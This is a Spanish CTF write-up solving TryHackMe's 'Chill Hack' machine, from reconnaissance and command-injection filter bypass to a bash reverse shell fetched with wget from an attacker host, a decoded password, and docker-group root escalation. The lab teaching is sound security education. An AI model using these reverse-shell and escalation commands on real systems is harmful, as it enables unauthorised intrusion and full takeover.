# Chill Hack

¡Hola!

En este *Writeup* vamos a resolver la máquina **Chill Hack** de TryHackMe, una máquina de nivel de dificultad **fácil**. La podéis encontrar en el siguiente enlace:

{% embed url="<https://tryhackme.com/room/chillhack>" %}

### Reconocimiento

Comprobamos que la máquina está activa y tenemos acceso a ella ejecutando un **ping**:

```
ping -c 1 <IP_máquina>
```

Y para empezar lanzamos **nmap** para detectar puertos abiertos y la versión y servicios que corren sobre ellos. Además, vamos a exportar la captura de nmap para poder consultarla más adelante si hiciera falta:

```
nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>
```

La captura de nmap nos arroja los siguientes resultados:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FYduTPktqkL8H8BtAvnpr%2Fimagen.png?alt=media\&token=e3af01e6-f92d-4eab-9247-29f1b052038a)

Podemos destacar un servidor FTP al que podemos acceder sin credenciales bajo el usuario **Anonymous** y tendremos acceso a un archivo llamado **note.txt**:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FFSBzUjzkgUGhRu2UWYBb%2Fimagen.png?alt=media\&token=bb26025c-0099-4ed7-9d68-73e82131420c)

Nos descargamos dicho archivo a nuestra máquina de atacante con el comando **get**:

```
get note.txt
```

Y si visualizamos su contenido nos encontramos con el siguiente mensaje, que nos permite enumerar dos potenciales usuarios:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FkGRXehXa9q2nxdn3ZImq%2Fimagen.png?alt=media\&token=130ebe0f-172b-4b89-b23f-a9aab6523f10)

{% hint style="info" %}
Teniendo listados dos posibles usuarios, **Anurodh** y **Apaar**, podríamos intentar llevar a cabo ataques de fuerza bruta sobre el servicio SSH.
{% endhint %}

Por el momento vamos a echar un vistazo a la web que corre en el puerto 80 bajo el servicio **http**:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FbNU8J5YJnorxEwK2o1Cu%2Fimagen.png?alt=media\&token=e0047df7-caf3-4f73-855f-63fbb470015d)

Como podemos comprobar no encontramos gran cosa, la mayoría de botones y accesos están inhabilitados así que vamos a probar a enumerar posibles rutas válidas mediante *fuzzing*, en esta ocasión vamos a utilizar el script **http-enum** de nmap:

```
nmap --script=http-enum -p80 <IP>
```

Y encontramos una ruta oculta bajo la dirección `/secret`:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F9RqnRO6YjAZJibBymnN3%2Fimagen.png?alt=media\&token=8b3caa58-9c12-49a5-bdc3-631d28ce3825)

Vamos a echar un vistazo:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FlpofNJbqtxfbyAZaMC0K%2Fimagen.png?alt=media\&token=b430457b-f473-48cd-b62f-43151bdaeea2)

Parece que se trata de una consola en la que podemos ejecutar comandos del sistema. Tras varias pruebas parece que algunos comandos no los admite debido a que se aplican algunos filtros.

Vamos a intentar crear una pequeña lista de comandos para, mediante el módulo **Intruder** de **Burp Suite** agilizar la comprobación de comandos admitidos.

Empezamos interceptando la petición:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F5a6AHBE2acgAJjAYcvq2%2Fimagen.png?alt=media\&token=6cf54f5b-9eef-4869-92cf-efcd8e47434f)

Mandamos la petición al Intruder y definimos el campo a sustituir:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FRJtwLcMWCAIhYghaRC33%2Fimagen.png?alt=media\&token=2243dae5-8847-46ac-80e8-e72d13d63c58)

Vamos a la pestaña **Payloads** y creamos una pequeña lista de comandos y lanzamos el ataque:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FzbTcFsbvNz7zyb5Horl9%2Fimagen.png?alt=media\&token=edd5250c-dfd8-496d-84ae-42afeeba2ac5)

En base a la longitud de la respuesta podemos determinar qué comandos son válidos y cuáles no. En este caso si la longitud es igual a **683** significa que el comando es inválido:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F1FKkOlFNKAXADe4XOO8h%2Fimagen.png?alt=media\&token=e40e3c8f-8972-4431-bdb8-a7399e369826)

### Explotación

{% hint style="info" %}
Lo primero que probé fue intentar lanzar una reverse shell en base64, decodificarla y ejecutarla con bash con el siguiente comando:\
\
`base64 -d <<< reverse_shell_base64 | bash`

`No tuvo éxito.`
{% endhint %}

Vamos a intentar, a través del comando **wget** y creando un servidor http con **Python**, subir una reverse shell en bash directamente al directorio `/tmp.`

Primero creamos la reverse shell con extensión `.sh`:

```
#!/bin/bash
bash -i >& /dev/tcp/<IP_Atacante>/<Puerto> 0>&1
```

Iniciamos nuestro servidor http con Python:

```
python3 -m http.server
```

Con **wget** nos descargamos el archivo en el directorio `/tmp` de la máquina víctima:

```
wget http://<IP_atacante>:<Puerto>/reverse-shell.sh -O /tmp/reverse-shell.sh
```

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FjvGO75ypH8T41gO1PPNk%2Fimagen.png?alt=media\&token=724a6813-c140-4df9-ac29-d6a3a470c374)

Comprobamos a través del log de nuestro servidor http que se ha realizado la petición correctamente:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F6DGSWycXZUgWuK4ukjkD%2Fimagen.png?alt=media\&token=aca97c52-86e1-4184-aaec-6937ef2956e4)

Dado que el comando **find** si funciona voy a listar los elementos que contiene la carpeta tmp, y ¡ahí está nuestra reverse shell!

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FG3SLUWXRr9qrDq4EvS4S%2Fimagen.png?alt=media\&token=717d1ae5-0728-422f-b10a-9561b3f0b999)

Ponemos netcat en escucha:

```
nc -lvp <Puerto>
```

Vamos a intentar ejecutarla desde la consiola de comandos y...

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FP5yHtow3NXxcAAUFLX5Q%2Fimagen.png?alt=media\&token=0622eca5-3037-48f0-bc43-51c3b54b5c6c)

Parece que no hace nada, ¿será por los permisos?

Le otorgamos permisos completos con **chmod**:

```
chmod 777 /tmp/reverse-shell.sh
```

¡Y ahora sí! Nuestra reverse shell se ejecuta y estamos dentro:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FUfcRfLQDIJQdHKnNRyTH%2Fimagen.png?alt=media\&token=a18817e4-8d21-49cd-8d57-4a9088284bcd)

### Post Explotación

Ahora que tenemos una consola bajo el usuario **www-data** vamos a proceder a la fase de escalada de privilegios.

Primero realizamos un tratamiento de la TTY para movernos con más soltura por el sistema, puedes encontrar como hacerlo en el siguiente enlace:

{% embed url="<https://hack.hvbr1d.com/post-explotacion/linux#tratamiento-de-la-tty>" %}
Tratamiento de la TTY
{% endembed %}

Ejecutamos **sudo -l** para listar binarios que podamos ejecutar como otro usuario y descubrimos que podemos ejecutar un binario llamado `.helpline.sh` como el usuario **apaar**:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FMi4o9ZQt9xZeNFyHpZt9%2Fimagen.png?alt=media\&token=1c61a0c4-bb38-457a-a342-6ed80dc4a158)

Vamos a echar un vistazo al código del programa:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FeHRf1jZsS44LBSo4DCq2%2Fimagen.png?alt=media\&token=bc804c6a-6a99-4fb9-9c00-30a4f07f40d9)

Parece que la variable **msg** se ejecuta como un comando del sistema así que vamos a aprovecharnos de esta vulnerabilidad para lanzar una shell bajo el usuario apaar de siguiente forma:

```
sudo -u apaar /home/apaar/.helpline.sh # Ejecutamos el programa como el usuario apaar
Nombre # Introducimos un nombre cualquiera
bash # Lanzamos una pseudo consola dentro del programa
whoami # Comprobamos que hemos cambiado al usuario apaar
```

Para lanzar una shell interactiva bajo el usuario apaar podemos hacerlo utilizando Python con el siguiente comando:

```
python3 -c 'import pty; pty.spawn("/bin/sh")'
bash
```

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fgn9Z5SWwT1bEUPrsxmiH%2Fimagen.png?alt=media\&token=fc695179-cab0-44fd-a28f-a16cb6485fa7)

{% hint style="info" %}
La máquina solo dispone de la versión 3 de Python
{% endhint %}

Bajo el directorio `/home/apaar/` podemos encontrar la flag de usuario de bajos privilegios.

### Escalada de privilegios

Después de un buen rato explorando el sistema encontramos en el directorio `/var/www/files/` un archivo php algo sospechoso por su nombre; **hacker.php**. Cuando listamos el contenido del archivo obtenemos la ruta de una imagen junto a una pequeña pista:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F9ebtJ0ek5kcNTS45S5sE%2Fimagen.png?alt=media\&token=41b0e635-f824-457e-bce6-b8a9ac06b94b)

Vamos a probar a traernos la imagen a nuestra máquina y a hacerle **stego**. Para ello nos movemos al directorio `/var/www/files/images` e iniciamos un servidor http con Python:

```
python3 -m http.server
```

Con **wget** nos traemos la imagen a nuestra máquina de atacante:

```
wget http://<IP>:<Puerto>/hacker-with-laptop_23-2147985341.jpg
```

Utilizamos **steghide** para extraer información oculta de la imagen:

```
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
```

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FaGtceQ85bBK3rYr7f6Ib%2Fimagen.png?alt=media\&token=78b111fa-b79d-4618-af36-456cf1dcf407)

Y con esto nos extrae un archivo llamado **backup.zip**. Si intentamos extraer su contenido comprobamos que está protegido con contraseña así que vamos a usar **zip2john** y **john** para intentar crackear la contraseña:

```
zip2john backup.zip > backup_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt backup_hash.txt
```

Y john nos reporta la contraseña para descomprimir el archivo.

Ahora sí, vamos a proceder a extraer el contenido de backup.zip:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fr6WxBYxvMZiBtnMQ1c22%2Fimagen.png?alt=media\&token=1fdac2e0-3470-4a7b-955e-5d96550d63a2)

Al examinar el contenido de source\_code.php podemos ver que hace referencia a uno de los usuarios anteriormente descubiertos; **Anurodh** y que contiene lo que parece ser un password codificado en **base64**:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fcz2KnJwMatpF81smOdZd%2Fimagen.png?alt=media\&token=1db63c8e-582c-42e3-b1d5-249f92a5a6e9)

Procedemos a decodificarlo:

```
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
```

Con estas credenciales podremos iniciar sesión como el usuario Anurodh.

Listamos los grupos a los que pertenece el usuario con **id**:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FbnTcKtbFJ8Sw9zBOiJE6%2Fimagen.png?alt=media\&token=b610cc8a-4cfb-418b-bf62-a354adad1dfa)

Y comprobamos que el usuario pertenece al grupo **docker**. Vamos a echar un vistazo a [GTFObins ](https://gtfobins.github.io/gtfobins/docker/#shell)a ver qué podemos con la capacidad de ejecutar docker desde una shell.

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FojJpD3D5MM1Kv2koqlUV%2Fimagen.png?alt=media\&token=c38f6e9f-cb18-4b36-903b-463c15cd9b89)

Ejecutamos el comando que nos sugiere GTFObins y...

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

¡Bam! Conseguimos una shell de altos privilegios como root 😎

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FBNSyvwv9UIB365uEHv4T%2Fimagen.png?alt=media\&token=7191177d-8760-4ae6-9b3b-9fe5af43ec0f)

Y con esto ya podemos visualizar la flag de root que se encuentra bajo la ruta `/root/`.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ <https://www.linkedin.com/in/david-rodriguez-ramos/>\
▶️ YouTube ⮞ <https://www.youtube.com/c/xerosec>\
🐦 Twitter ⮞ <https://twitter.com/xerosec>\
🔴 Twitch ⮞ [https://www.twitch.tv/xerosec](https://www.twitch.tv/xerosec/)  \
💬 Discord ⮞ <https://discord.gg/E4AjK2XsFm>

¡Gracias por llegar hasta aquí!
